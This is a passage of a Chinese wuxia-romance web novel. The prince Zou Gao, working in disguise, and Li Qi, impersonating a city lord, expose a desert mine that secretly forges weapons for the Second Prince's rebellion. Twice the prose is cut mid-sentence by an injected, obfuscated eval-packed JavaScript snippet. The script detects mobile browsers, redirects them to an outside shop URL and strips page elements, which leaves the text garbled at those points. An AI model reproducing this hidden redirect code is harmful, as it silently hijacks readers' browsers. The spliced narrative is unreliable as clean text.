邹瑅大力按住他的肩膀,“我不问你身为梁国人是如何取得父皇信任的。但李蕲她不只是梁国遗脉,更是你的师妹,你怎么狠得下心的。” “还有阿杲,若不是他,你如何能留在军中,你如何能有如今在父皇面前施展抱负的机会?” “子瞮,父皇身边到底有什么在吸引你?为了往上爬,你当真不念一点旧情吗?” 子瞮背对着邹瑅,依旧没有说话,更不曾动一下。 邹瑅知晓他心意已决,也不愿再和他再说,收回手,压低声音道:“有权有势很好,但用亲友性命安危换来的,就没那么好了,子瞮,别等到一无所有、无路可退,才悔不当初。” 言尽于此,邹瑅大步离开。 走到一半,和静姝撞上,静姝怯生生行礼,“皇兄。” 邹瑅颔首,没忍住问:“是父皇叫你来的?还是你自己听到消息来的?” 静姝一愣,僵在原地支支吾吾不知道该怎么回答。 在邹瑅狠厉的眼神逼迫下,她声线微抖,声音低得险些听不到,“父皇同意我来的。” 见静姝这般,邹瑅也不是滋味,但是又拉不下脸,只道:“婚姻大事并非儿戏,你还年轻,又是大嬴唯一的公主,不必着急,睁大眼睛,慢慢挑。” 静姝小声‘嗯’了一声,眼睛却还往子瞮那边瞟。 见她明显没听进去,邹瑅也不再多说,摇了摇头,大步离开。 走出碧水庭,一个跟着沙於的小太监便迎上来,说他父皇喊他去看看他的皇祖母和母后。 邹瑅和他的皇祖母非常亲近,在不曾跟着父皇出征前,他都是跟着皇祖母生活。 他的母后是一国之后,却一心向佛,他还有后宫的一切事务,都是皇祖母在养育管理。 所幸父皇长年在外征战,嫔妃不多,除了母后和韩贵妃,便只有几个没有子嗣的妃嫔,皇祖母也不算操劳。 按照辈分,邹瑅先去了皇祖母那,陪皇祖母坐了两刻钟,吃了不少糕点新鲜果子,才被皇祖母送着出门。 至于母后,她一如既往在抄写经书,见他来,也没什么太大情绪波动,让宫女给他上了一杯茶,便继续抄写。 邹瑅静不住,照例喝完一盏茶,耐着性子坐了差不多一刻钟,便请辞离开。 母后自然点头,只叮嘱他回去的路上小心,而后便又继续抄写经书。 走出母后的寝宫,他不知不觉,又拐到阿杲离开前、和阿杲不欢而散的亭子。 看着黑幽幽的亭子,想到今日发生的种种,邹瑅无比怀念邹杲。 要是阿杲在鄂阳就好了,这样,阿杲便不会消失在荒漠中、了无音讯,他也不用担心,更不用头疼要如何揪出‘复儒教’背后的真凶。 其实,他今日原本没想闹得满城皆知的,但是他怕了,怕其中真的有阿杲的手笔。 他虽没有妄想过,也不觉得阿杲会起妄念,却也知道至高无上的皇权的巨大吸引力,也更知道父皇万万不会让皇位落入大嬴皇室之外的人的手里。 哪怕这个人是阿杲。 所以,若这一切真的有阿杲的手笔,为了得来不易的大嬴江山,父皇难保不会对阿杲下死手。 而他能做的,只有震慑提醒。 他还是不觉得阿杲会逆反,但万一阿杲被奸人蛊惑…… 看着不知何时出来的明月,邹瑅不由得想借它给邹杲传信。 ——阿杲,你如今究竟在何方,你是否也被权势迷了双眼? 35.幽冥卷·第十章 10 几乎没有空气流通的幽暗山洞中,到处都是蜷缩着的骨瘦男子。 没有被褥没有多余的衣服,他们只能三五成团,挤在一堆互相取暖,让自己勉强能入睡小憩片刻。 洞口处,突然,一个穿着破烂背心的男人猛地打了好几个喷嚏。 连续的喷嚏吵醒了周围本就睡得不深的人,这些男子都很冷漠,或者说是空洞,本能扫了他一眼,便翻个身继续又闭上了眼睛。 男人,也就是邹杲无奈揉揉鼻子,一边盯着空无一人的洞口,一边在心里骂李棋。 李棋一定是故意的,从哄骗他扮成乞丐打入内部开始,李棋肯定就在盘算着要捉弄他了。 十天前,连哄带骗,终于从李棋手中得到雨中花给的锦囊,趁李棋半是劝说半是威胁将文蕼萧逾忽悠走的时间,邹杲也赶忙找来一直远远跟在后方的随从,让他们连忙将东西传回鄂阳。 将两人送走没多久,原本还一脸沉重的李棋兀然变脸,跟吃太饱到了的兔子一样,笑意盈盈窜到他面前,抓着他的手臂娇俏喊着‘王爷’。 看着李棋那乖巧得不像李棋的讨好笑脸,邹杲当时便觉得大事不妙,但是察觉不妙归察觉不妙,这丝毫不妨碍他被李棋的温声细语迷惑。 在李棋的一番忽悠下,他点了头,紧接着李棋掏出腰包里的瓶瓶罐罐在他脸上身上一番折腾下,然后他就变成了如今的模样,并混入了这里—— 隐藏在茫茫大漠之下,集采矿、冶练以及最主要的兵器铸造为一体的营地,铸造的,还大多都是他之前所带领的神武军独有的箭矢和弓弩。 这些且不说,只说邹杲和李棋的计划。 李棋说,让邹杲先打入这里,摸清状况,尽量找到背后主谋的实质性证据,而后,再用小七儿给她传信,她再来救他。 早在五天前,邹杲便摸进了库房等地,转移藏匿了一些非常关键的书信,也是那天晚上,他将藏在缝隙中的小七儿送了出去。 但是,如今,都五天了,既不见李棋踪影,也不见小七儿返回。 感受着由内而外,越发明显的寒冷,邹杲抱紧双臂,心在哀嚎:小棋儿啊小棋儿,你再不来,我不被累出个好歹,怕是也要被冻成冰雕了。 毒赋给那个小册子,邹杲没看过。 体内越发冰寒,虽然在他意料之中,但也难免让他有些恐惧。 如今,他身无外物,连他最后的保障都一并交给了李棋保管,若是在李棋赶来救他前,灵狐泪的寒毒发作,他想脱困,怕是只能冒死动用内力杀出去了。 至于能不能杀出去,那就不得而知。 邹杲还在想要不要杀出去,锣声由远及近,这是喊他们起床、催促他们干活的动静。 每个人的岗位都是固定的,若锣声结束还没有就位,将会遭到毒打。 李棋的易容术出神入化,成功将邹杲弄成了一个四十多的沧桑男人,但邹杲身形高大,又不像李棋会缩骨功,所以只能以原本的身形示人。 邹杲高大的身形,虽然瘦,但在这群人中已经算是强壮的那种了,于是被安排到运输的岗位。 他们脚上都拖着重重的链子,还得负重几十上百斤,邹杲还有双李棋用银针和他原本的衣服赶工做出来的一双破布鞋,很多人连鞋都没得穿,一双脚被磨得血肉模糊,却不敢停留片刻。 一日两餐也非常简陋,一成不变的三个掺糠黄面窝头加一碗几乎没有米粒的粥。 纵使邹杲已经失去了味觉,也非常难以下咽。 邹杲背着沉重的铁矿石,按照固定的路线行走,才来回运了两趟,便见一群管事的簇拥着几个人缓缓朝深处走来。 有个人因为好奇,多看了一眼,便被甩了一鞭子,“看什么看,继续干活!” 邹杲自然也好奇,但他却不想被甩鞭子,也只得继续埋头干活。 他本打算疾步越过那些人,但是还不等他靠近,便被人叫住。 “那个谁,抬起头来。” 这个声音,非常耳熟,邹杲一惊,抬头看去,赫然就是赵孟。 邹杲一僵,他都被李棋弄成这样了,赵孟难道还能认出他? 他正纠结要不要先下手时,离他最近的一个小管事见他没有动静,吼着“没听到城主叫你吗?”,手中的鞭子就朝他挥舞过来。 也是瞬间,原本在一丈之外的赵孟几乎瞬间走到他身侧,抓住了差点甩到他胳膊上的皮鞭。 “城主,”小管事一惊,鞭子也不要了,当即就跪了下去。 “起来吧。”赵孟的声音很平静,听不出喜怒,他说着,将鞭子丢还给那个小管事。 赵孟不再管那个小管事,而是上前挑起邹杲的下巴,声音中都是阴鸷的怀疑,“你叫什么名字?我看你有几分眼熟啊。” 此话一出,原本簇拥着赵孟的一众管事都是一惊,当即打起十二分的警惕。 他们一番小心翼翼的观察,见赵孟脸上没有明显的怒意,总管才试探上前,谨小慎微问:“城主,他是您的旧识吗?……还是中央那边来的人?” 鸿秋塞地处瀚海城西南边,地处偏远,而鄂阳,在大嬴如今的版图上,正好在中央地带。 赵孟摆手,挑着邹杲的下巴勾唇笑道:“眼熟,像我一个故人。” 这一下,邹杲确定了眼前这赵孟的身份,不对,是确定了他的猜想,眼前这个赵孟,八九不离十是李棋假扮的了。 看着几乎和赵孟如出一辙的李棋,邹杲心中啧啧称奇。 赵孟比李棋高一寸有余,体型也差不多是李棋的一倍半,但是,眼前的赵孟看不出任何破绽,从外形身高,到声音眼睛,完全看不出破绽。 连脖颈耳朵等处都看不出任何原本还属于李棋的影子。 要知道,李棋的眼睛不但是非常漂亮的瑞风眼,还睫毛翘密,眼珠清澈透亮。 而赵孟,原本就是三角眼,还因为年纪渐长,眼皮耷拉,显得眼睛更小,也不知道李棋是怎么做到的。 她模仿的声音也和赵孟一模一样,若不是熟悉的气味和李棋刚刚悄悄勾了勾他的下巴,他完全看不出破绽。 邹杲反应也快,直接装出一副难以置信的欣喜若狂,“你,你是赵督官吗?” “是我!”赵孟也一副惊喜的模样,“小姜兄弟,当真是你!” 众人一看,连忙上前,七手八脚将邹杲身上背着的沉重矿石取了下来。 “几年不见,你怎么沦落至此?”赵孟抓住邹杲的肩膀,一副痛心疾首的模样。 还不等邹杲说话,负责邹杲的小管事连忙道:“禀城主,他是九日前,我们在沙漠中捡到的,见他有一把力气,才把他留下来,要是知道他是您的故友,我一定……” 邹杲感恩叹息,连忙对赵孟道:“多亏他们给我一口吃的,我才能活过来。” 邹杲非常戏多,紧紧抓住李棋的肩膀拍了拍,欢喜又道:“赵督官,五年不见,你居然做了城主,不知是哪座城的城主?” 他又道:“那日遭遇敌袭,你将我推出去断后,我还以为这辈子都没机会见到你了。” 要不是众目睽睽,李棋真的想翻白眼。这个臭男人,戏可真多。 一听邹杲这话,众人的脸色变了,一个个的,尴尬又害怕,既怕赵孟难堪发火,又怕赵孟因为他们机缘巧合救下邹杲而心生不满。 他们想说话缓解,或者说是解释,但又不知道说什么好。 伪装成赵孟的李棋将这些人的反应尽收眼底,反应过来,也重重拍着邹杲的肩膀,皮笑肉不笑道:“是啊,我也没想到。” 她牙咬切齿笑道:“你活着便好。”又道,“你便继续在我手下做事吧,放心,我不会亏待你的。” 说罢,李棋又对总管道:“看看还有什么适合我这个故友的位置。这是我出生入死的兄弟,一定要给我招待照顾好了。” 众人连忙应是,那快速转动的眼神一看就没憋着好,赵孟一走,邹杲不死也不会有好日子过。 李棋心中冷哼一声,睨了邹杲一眼,正要带着人离开,让邹杲再干会活,还不等她说话,邹杲先一步,抓着她的手没脸没皮道:“赵督官,你这里有酒肉吗,我都好久没见到油水了,” 这里的伙食是在赵孟本人的指点下克减的,加糠,便是赵孟的主意,是以,众人都不慌。 不过,总管还是非常有眼力见说道:“城主,再深入,便是矿洞了。” 他又道:“货物的清点装运也需要些时间,趁着这时间,不如,我让人备一壶好酒、煮几个小菜,您和您的故友小叙一下?” 李棋犹豫片刻,才点头道:“那便依你所言。” 总管笑呵呵应着,将李棋和邹杲迎到赵孟在这里的房间。 这里,正好也是邹杲藏匿证物的地方。 等他们将酒菜送来,得到邹杲的眼神提示后,李棋挥手驱散了他们。 扮做赵孟的李棋将他们送出门,确定他们都走干净后,才关上门。 她一转身,就撞上已经走到他身后的邹杲,两人相隔不过几寸。 还不等李棋反应过来,邹杲直接上手,好奇捏着她的脸,小声问:“你是如何做到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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邹杲不信,李棋神秘又道:“喝了这些酒,王爷你就能大展神威了。” 邹杲疑惑,但是不等他问出口,李棋已经将手里的酒往他嘴里灌了。 邹杲一个不查,咕噜咕噜喝了好几大口。 不等他反应过来,只见李棋变戏法一样,从衣服中摸出几根针便往他身上扎。 他没躲。 虽然他和李棋已经挑明,知道李棋和他各自为政,他们各自有各自的算计,但是莫名的,他就是觉得李棋很喜欢他,不会害他。 自恋也好,自信也罢,就算李棋想要他的命,那他也认了。 “这才对嘛。”李棋笑呵呵又往他身上扎了几针。 扎完,她拍了拍手,拿起筷子,夹了一块肉喂到邹杲嘴边,笑盈盈说:“来,张嘴,这是你乖乖配合的奖励。” 邹杲张嘴接过,一边嚼,一边委屈控诉,“小棋儿,我感觉你拿我当狗在训。” “我又没有强迫你,你可以不吃。”李棋笑着说着,又夹了一块喂到邹杲嘴边。 邹杲佯装生气不语,但却冷着脸张嘴接下了那块肉。 李棋开心笑了,她放下筷子,拍了拍手,开始取邹杲身上的银针。 她一边收银针,一边道:“你找到的证据藏哪儿了,取出来我看看。” 邹杲也不废话,放下筷子,从脚上破烂的布鞋中取出银针,解开脚上的锁链,而后起身,走到中后方那张放着一些账簿、带柜上锁的书桌处。 他轻轻移开实木的椅子,同时拉开最下面那两个唯二没有上锁的抽屉。 抽屉是空的,但是当邹杲拍了拍抽屉,让原本严丝合缝的抽屉散架,并且抽出来后,里面的几十张保存完好的纸条漏了出来。 见状,李棋连忙上前帮忙。 这些纸条有大有小,内容有多有少,都是关于这里私自铸造的武器的分配运输的指令。 李棋还在看这些纸条上的内容,邹杲又将桌子抬了起来,只见右边的桌子下面,有一个大拇指大小的洞,里面塞着一个用信封装着的东西。 李棋一顿,也顾不得看手中这些没有暴露太多信息的纸条,当即就要上前抢邹杲手里的。 邹杲却将其高举,笑意盈盈低头看着李棋,“小棋儿已经看到了我卧薪尝胆得来的大半的成果,在看这些前,小棋儿也该礼尚往来的和我分享一下你在外面得来的消息吧。” 36.幽冥卷·第十一章 11 被邹杲将了一军,李棋仰头看着他,本想狠狠瞪他一眼,却被他得意的表情逗笑了。 李棋将逼近的他推开,轻咳一声,憋回笑意道:“我还以为什么事呢。” 她又道:“王爷这么迫不及待,我不说,倒是显得我很不懂人情往来了。” 邹杲也不觉难堪,笑着顺势问:“那小棋儿便说说吧,这十日都做了什么?” 他哀怨又道:“早在五日前,我就让小七儿出去给你传信,请小棋儿你来接我了。” “可小棋儿你迟迟未来,我等得心都快碎了,身体也日复一日被繁苦的压榨摧残着,几欲崩溃。” 李棋知道他是在装,阴阳怪气反问了声“是吗”,无视他哀怨的眼神,拿着手里的纸条,转身走到饭桌边坐下。 她一边细数手里的纸条,一边道:“那晚我来了,但是还没来得及进来,便听到这里的管事说过几日赵孟要来。” “与其打草惊蛇,不如釜底抽薪。” 邹杲在李棋左边坐下,埋怨道:“所以小棋儿你就丢下我跑去找赵孟了。” 李棋没好气白了他一眼,“少来,我可以没有丢下你。” 李棋又从衣服下取出一个一看便年代久远的信封。 邹杲问:“这里面是?” 李棋看着邹杲手里的信封,挑眉问:“交换?” 邹杲无奈笑了,没有再多说,将手里的信封递给了李棋。 两人交换信封,几乎同时拆开,同时看到上面的内容。 看完,两人抬头看向彼此,都沉默了。 许久,李棋才咂舌,“他们好大的胆子。” 邹杲点头,却笑了,“二皇子还真是,人不可貌相。” 李棋从赵孟那里得来的信是五年前的,赵孟初任瀚海城城主,二皇子邹珣拉拢他时写给他的。 也是看了这封信,李棋才知道,原来,这个赵孟还是二皇子的正妃的嫡亲舅母的娘家哥哥的正室的表亲,关系有些绕,甚至一时半会扳扯不清楚邹邹珣和赵孟的亲戚关系。 总之算起来,他们是在彼此的九族之中的。 在这封信中,邹珣先是和赵孟以这扯来绕去的关系交好,告诉赵孟,他和赵孟是一家人。 而后,他又毫不掩饰自己的狼子野心,直接让赵孟为他所用,并且隐晦以赵孟唯一的儿子赵天禄为要挟,要求赵孟按照他的指令,在鸿秋塞私自开采铁矿,为后面私自铸造兵器做准备。 邹杲找到的那个信封里除了一封信,还有一张图纸,无论是信的内容,还是图纸上的内容,都堪称大逆不道。 图纸是鄂阳皇城的地图,上面详细标明了鄂阳的军队防御部署。 信上,则写明了运送武器进入鄂阳的详细方案、路线及相关官员,以及最后送达藏匿的地点。 这个邹珣,当真是胆大包天,不但私自铸造兵器,还陆陆续续将武器运至皇城,其心可诛。 两人四目相对,李棋问:“你打算怎么办?” 不等邹杲回答,她又道:“我不但绑了赵孟,还找回了小乖乖鱼和文蕼师兄,让他们用你的身份令牌去临近的郓城搬了救兵。” “师兄?”邹杲问。 李棋有瞬间的无语,但无视他审视的眼神道:“我打算趁着人赃物俱全,将这里一网打尽。” 邹杲紧紧盯着李棋的眼睛终于眨了一下,却紧接着问了句让气氛瞬间紧张的问题。 “这是你的计划,还是你背后之人的计划?” 邹杲问得十分直接,不过也在李棋意料之中,李棋甚至没有辩解,更没瞒他,“我一个人的决定。” 邹杲一怔,而后便笑了。 他道:“陛下只剩下两个儿子,这个时候,无论谁被扳倒,都会破坏原本还算稳定的局势,何况邹珣私自铸兵,意图谋反。” “所以?” “……所以,”邹杲叹了口气,妥协笑道,“事已至此,便按小棋儿的计划继续进行吧。” 邹杲忽地凑近一些,挑眉轻笑,但八分玩味中却好像带着两分认真,让李棋辨别不出真假。 “我永远不会让小棋儿你孤立无援。”他说。 虽辨不出真假,但这一句,让李棋的心砰砰直跳,真的非常心动。 可惜,当下不是谈这些情情爱爱的时候,得先活着,最好能一举摆脱背后那些人的束缚,以后都自由自在的活着。 “你最好别只说不做。” 李棋说着,扯掉身上属于赵孟的衣服,里面,是一套明显宽大的紫黑色衣袍。 “比不上你从鄂阳带来的那些,但这已经是我能找到的最好的了。” 李棋脱一件,扔给邹杲一件。 邹杲笑意盈盈一一接过,迅速穿好。 难怪李棋能伪装出赵孟的体格,她足足穿了三套衣物,除此之外,邹杲的衣物、小七儿、她的百宝袋腰包、九龙神鞭,都被她藏在赵孟那套衣服之下。 至于身高,则是因为李棋穿了两双鞋,一双她的,一双给邹杲准备的。 也得亏邹杲人高脚也大,不然李棋还真没那么容易穿进去。 一小会的功夫,邹杲从落魄狼狈中年人变成了威严尊贵的中年人。 这里没有水,所有暂时没办法洗去他身上的伪装,也不急于这一时。 邹杲接过李棋递给他的发冠,快速将全部头发都束起。 之后,两人都看向桌子上的数十张纸条和两封信,这回,是邹杲先开口。 “小棋儿,这些书信便暂时由你保管吧。” 李棋也不废话,将它们整理好后,直接放到了腰包深处,她又将小七儿放到腰包里。 一切收置妥当后,李棋看了看四周,又捡起原本锁在邹杲脚上的脚镣,“武器。” 邹杲很嫌弃,但还是接了过来,李棋又道:“不必顾虑,你可以尽情使用内力,越剧烈,你越轻松。” “这时候动用内力能压制灵狐泪的毒性?”邹杲问。 李棋点头,而后取下腰间的九龙神鞭,一边朝门处走,一边道:“你拖住那些管事,别让他们销毁了其他证物,我去接文蕼师兄他们过来。” 她说罢,就想上前开门,但是邹杲却先一步抓住她的胳膊。 李棋纳闷回头,还不等她问还有什么事,便听邹杲阴阳怪气问:“我不在这几日,你和逍遥门那两个小子相处的很深入?怎么,你是打算转而拜入逍遥门下了?” 李棋一怔,心想,这是吃醋? 这个认知,让李棋心中有些小雀跃,但她却并未显露,只笑道:“那倒没有。但是,我们是相处得挺好的,小乖乖鱼乖得不像话,文蕼师兄则幽默风趣,越相处越发觉得他们有趣。” 见邹杲的笑容明显带上了危险的意味,李棋却故意又道:“另外,经过这些天亲密相处,我还发现,文蕼师兄不但身高比王爷略胜一筹,连身体都比王爷健硕好多呢。” 说罢,李棋推开邹杲,转身的瞬间,嘴角却不受控上扬了。 也不等邹杲再追上来说话,她直接拉开了门。 这是在山洞里,门外虽然没有人守着,但是一直有携带刀剑的高壮男人在巡逻。 打开门的瞬间,巡逻的队伍正好迎面走来。 赫然对上一张陌生且漂亮的脸,众人先是一愣,随即歹意瞬起,但是很快,他们便反应过来。 为首的小头目急促敲着手中的锣,另外几人则拿着刀朝他们扑砍而来。 “王爷,这里就交给你了。”李棋回首笑着说罢,一溜烟,顺着唯一的出口跑得飞快。 听着李棋明显愉悦的声音,邹杲也后知后觉回味过来,一时无奈又好笑。 看着闻讯围拢而来的喽啰们,他扯了扯手中铁链,发出响亮具有杀气的声响。 因为要劳作的原因,这脚镣比一般罪犯戴的脚镣要长一些,差不多有四尺,正好是一根普通鞭子的长度。 不过,邹杲并没有把它当鞭子使,而是将其当做流星锤使,两头原本用来锁住脚踝的枷锁正好充当了流星锤的锤子。 邹杲带兵打仗时,使用得最多的是长枪,而后便是钺,这种软兵器,他耍得并不熟练。 手中的脚镣被他抡得溜圆,洞穴深处的喽啰们一时无法近身。 外面虽然还有七八个喽啰,但李棋轻而易举便冲了出去。 见李棋走后,邹杲也不再拘着,他抢了其中一个喽啰手中的刀,将其往内部逼迫。 被囚禁在这里干活的男人全是被他们掠来的,见有人暴乱,早就无法忍耐的男人们也抓着手边能拿到的工具,加入了这场暴乱之中。 另一边,李棋冲出这个隐秘的山洞,一边往空旷的地方跑,一边甩动手中九龙神鞭,发出响彻云霄的声响。 还不等喽啰们追上她,原本一望无际的沙漠中缓缓出现浩浩荡荡的一队军队。 为首的,赫然以郓城城尉还有文蕼和萧逾带领的一千精兵。 看着突然出现的骑着高大铁骑的骑兵,几个喽啰大惊,也顾不得李棋了,甚至顾不得回去报信,直接四散逃窜。 此处地势得天独厚,除了身后这座铁矿丰富的矮山丘,另外三面都是一望无际的茫茫沙海。 但喽啰们跑得再快,也快不过铁骑。 不一会儿的功夫,山洞主入口和另外两个隐秘出口都被精兵包围。 文蕼几人也到了李棋跟前。 郓城城尉从马背上下来,冲李棋拱手行礼,“李姑娘,”他环顾四周没看到邹杲,一顿,当即问道,“敢问常胜王现在何处?” 李棋也学着他的样子,拱手还礼,“为了保护证物,常胜王正在里面厮杀,你快带人去帮忙。” 城尉一愣,似乎是想问她不去吗? 但最终,城尉没问出口,只颔首,而后指派一队精兵进入帮忙。 侧边两个出口还有赵孟原本要带走的几车兵器在装车,可谓证据确凿。 鸿秋塞虽然不是郓城 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16703155|188740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的地界,但郓城和鸿秋塞接壤,若是皇帝若要怪罪监察不力之罪,郓城定会被第一个问责。 为今之计,唯有配合常胜王的指挥,一举捣毁,这样,不但不会被责怪,说不定还能立功。 是以,郓城城尉一点不敢马虎。 李棋没有跟着进去,而是朝文蕼和萧逾走去。 两人也迅速从马背上下来。 “姐姐。”萧逾温声喊。 文蕼笑问:“小棋妹妹,此行还顺利吧?” 李棋点点头,一手抓住一人的胳膊,带着他们往侧边人少的地方走。 走到角落处,李棋才看向文蕼问:“如何,文蕼师兄,江湖上近日可有蛮菩萨的消息?” 文蕼没有直接回答,而是低头看向萧逾,温柔鼓励道:“师弟,你来告诉小棋妹妹吧。” 萧逾胆怯抬起头看着李棋,生怕李棋不喜。 这眼神,倒是看得李棋于心不忍。 李棋叹了口气,“小乖乖鱼,我很喜欢你,也不介意有你这么一个弟弟。但是,江湖上都传遍了,我的确是梁国的公主,世人皆知,梁帝一生无子,你不会是他流落在外的皇子,我更不可能是你的姐姐。” 萧逾本就被风吹得眼眶微红,如今,听了李棋这番话,眼眶越发的红,李棋心中也越发的愧疚。 但是此刻,她不想,更不能再和无辜的人扯上关系。 虽然她再一次接受了萧逾和文蕼的帮助,但她也万万不能再将两人扯入局中。 李棋努力忽略萧逾,朝文蕼伸出手,“邹杲的身份令牌呢?” 文蕼叹气,“小棋妹妹何必这么着急与我们划清界限,” 他话还没说完,萧逾先从袖口中取出邹杲的身份金牌,递给了李棋。 李棋接过,装作没听到文蕼的话,只笑着说,“多谢了。” 萧逾沮丧摇头,说不用谢,又道:“天下第一阁和金曲楼还有丐帮都没有蛮菩萨的消息,二者皆说,两月前,蛮菩萨曾在鄂阳露面,之后,便再没有人见过他。” 李棋沉默听完,握紧邹杲的身份金牌,看向两人道:“这些时日,多谢你们的帮忙,如今事情已了,我们便就此分别吧。” 不等两人说话,李棋又道,“今日恩情,他日,我必定亲自到逍遥门道谢。” 萧逾还欲说话,但文蕼拉住了他。 文蕼笑呵呵对李棋道:“也好,我和师弟闲逛多日,也该回去了。” 他又道:“玄林和逍遥门相隔并不算远,小棋妹妹的师父还和我们师父是旧识,那我和师弟便在逍遥门酿上美酒,等候小棋妹妹前来再续前缘了。” 李棋哈哈一笑,说就冲萧逾酿的美酒,也一定会去一趟逍遥门。 文蕼说等她来,而后便拉着一步三回头的萧逾走了。 目送两人骑马远去,李棋还没收回视线,耳边突然响起邹杲阴阳怪气的声音,“呦,小棋妹妹,你那位比我高还比我壮的师兄就走了啊?” 李棋原本有些伤感,但是听到邹杲这话,她直接气笑了。 邹杲脸上有明显的喷射的血迹,衣服虽然是黑紫色的,但也能看到明显的变色,估计沾了不少血。 这张脸虽然因为伪装不似原本的年轻气盛,但却别样添加了几分岁月沉淀的悲重感。 他此刻,倒是比之前李棋见到的,都更有传说中的杀伐果断的不败战神的姿态与威严。 当然,前提是他没有说那些酸唧唧、夹枪带棒的话。 李棋回头看着邹杲,“嗯,文蕼师兄和小乖乖鱼他们先一步回去给我酿酒了,等你这边了结,我就去逍遥门找他们再续前缘。” “是吗?”邹杲咬牙切齿,这句话是从牙齿缝里挤出来的。 李棋可不管他,“王爷常年在外领兵打仗,看过无数遍地图,应该知道,玄林和逍遥门不过一城之隔,骑马一日便能往返一个来回。” 邹杲不知道想到了什么,突然阴阳怪气笑起来,“是吗?玄林与逍遥门竟然相隔如此近吗?” 李棋只觉他没憋好屁,果然,就听他又道:“这么看来,小棋儿你与逍遥门的人有缘无分啊。但凡逍遥门的人有意与你结缘,有逍遥门掌门与你师父这层关系在,早都到玄林去见你千万次了。” 李棋不在意和逍遥门的人有没有缘分,她在意的是,她又被将了一军,真是气死她了。 “无妨,以后,我主动也是一样的。”说罢,李棋将手中的身份金牌扔给邹杲。 不等邹杲接住,又从腰包里依次拿着墨玉簪、金镶翠玉佩、双鱼挂坠接连丢给他。 李棋阴阳怪气道:“王爷这些宝贝,还是王爷自己保管为好。” “特别是那用于定情的双鱼挂坠。”她道,“待王爷身上的毒解之后,也好凭借信物留在虚无岛做你的贤婿。” 李棋说罢,转身就走,全然不管身后的邹杲。 邹杲将其他东西都收到袖袋里,一边用墨玉簪取代发冠,一边笑吟吟跟上李棋。 37.幽冥卷·第十二章 12 郓城城尉的效率出奇的高,这一千精兵也不愧是跟着上过战场的。 前后不过一个时辰,鸿秋塞百余名管事全部伏诛。 因为这里已经铸造好的神武弩机和箭矢的数量太过庞大,郓城城尉也不敢妄动。 邹杲则在李棋的带领下,找到一处水潭洗干净身上的污浊。 两人才回来,郓城城尉便迎了上来。 “王爷,”他问,“这里,要如何处理是好啊?” “原封不动。”邹杲道,“立刻派斥候快马加鞭前往鄂阳,请示陛下后再做处理。在陛下派人来之前,不可妄动任何器物。” “好。”城尉应着,便要去吩咐,邹杲叫住他,又道,“再修书一封,将瀚海城城主主谋私收赋税、铸造兵器一事一并上报陛下,让信鸽和斥候一同出发,务必尽早将消息呈给陛下。” 城尉一愣,欲言又止,但看着邹杲,他还是将想说的话咽了回去。 等城尉走了,李棋才抱臂走到邹杲身侧,“怎么,你这是要救邹珣?” 邹杲但笑不语,只看向李棋问:“小棋儿,赵孟如今身在何处?” “那日避雨的废弃营房中。”李棋看向邹杲,又道,“灵狐泪已然奏效,你最多只剩下一个月的时间,若一个月内无法服下不死草,你会死于灵狐泪中的寒毒。” “而且,你还得取得幽冥荒漠中的幽冥蝎。幽冥荒漠和辽炀山脉一个在西一个在中部,并不顺路。” 邹杲倒是跟没事人一样,仿佛身中剧毒的不是他一样。 他笑道:“小棋儿放心,我很惜命。” 他又道,“既然不顺路,那便兵分两路。” 李棋一惊,“你要和我兵分两路?” 邹杲不答反问,暧昧反问:“小棋儿就这么舍不得和我分开吗?” 这并不好笑,李棋瞪着他。 邹杲笑容收敛一些,也认真许多,他道:“我好歹是王爷,不至于真的无一人可以使唤。” 他说罢,喊一个小将领牵来两匹骏马。 他跃到其中一匹棕色烈马的马背之上,笑着看向李棋,“走吧,带你去见见我的人。” 李棋就知道邹杲藏着拙,她气冲冲看向邹杲,邹杲那俊脸上是无耻的笑容,李棋更加的生气。 她欲骂又止,但最终还是忍住了没骂出来,只狠狠剜了邹杲一眼,然后气冲冲跃上另一匹马背,拉动缰绳抢先冲到邹杲前面。 邹杲也不觉心虚,还笑盈盈央求李棋慢些,照顾下他病弱的身体。 李棋再心疼搭理他就怪了。 此时虽不过辰时,但是时值七月,他们还身处一望无际的荒漠中,烈日几乎追着人烘烤。 邹杲因为寒毒的缘故,并不觉得热,但是考虑到李棋,还是默默加快速度。 见邹杲扬鞭上前,李棋还以为邹杲要带她去往什么秘密营地,没想到,邹杲带着她直接去到了关押赵孟的荒废营地。 赵孟被五花大绑在一间小营房中,千赤和玄翼在外面看守着。 不知道是听到马蹄声,还是千赤闻到邹杲身上的气味,老早就守在门口。 在看到他们骑着的马时,原本沉稳的千赤瞬间变得暴躁,没什么主见的玄翼也跟着闹腾。 看着千赤和玄翼快速跑来,邹杲不疾不徐,缓缓从马背上下去。 千赤和玄翼都围着邹杲,邹杲一手一个,熟捻给两匹马顺毛。 一小会的功夫,原本暴躁的千赤变得温顺。 李棋在后面和两匹因为恐惧想跑的马较劲,再一看围着邹杲打转的千赤和玄翼,她别提多气了。 邹杲给它们顺了会儿毛,俯身不知道在千赤耳边说了什么千赤,尥尥蹶子,扬长而去。 玄翼紧随其后,都没看看李棋这个主人一眼。 这些都能忍,偏偏,邹杲还回过身来,笑盈盈跟李棋炫耀。 他上前摸摸两匹被惊动的马儿,几个呼吸的功夫,原本要跟李棋死犟到底的两匹马平息下来。 他又掏出在他的袖袋中熟睡的小灵狐,笑意盈盈抚摸着它身上的软毛,“动物和人一样,需要长时间的磨合,才能逐渐亲密,小棋儿你还得多多努力啊。” 看着温顺在邹杲手指上轻蹭的小七儿,李棋没好气骂道:“屁的努力,明明是你身上有妖法。” 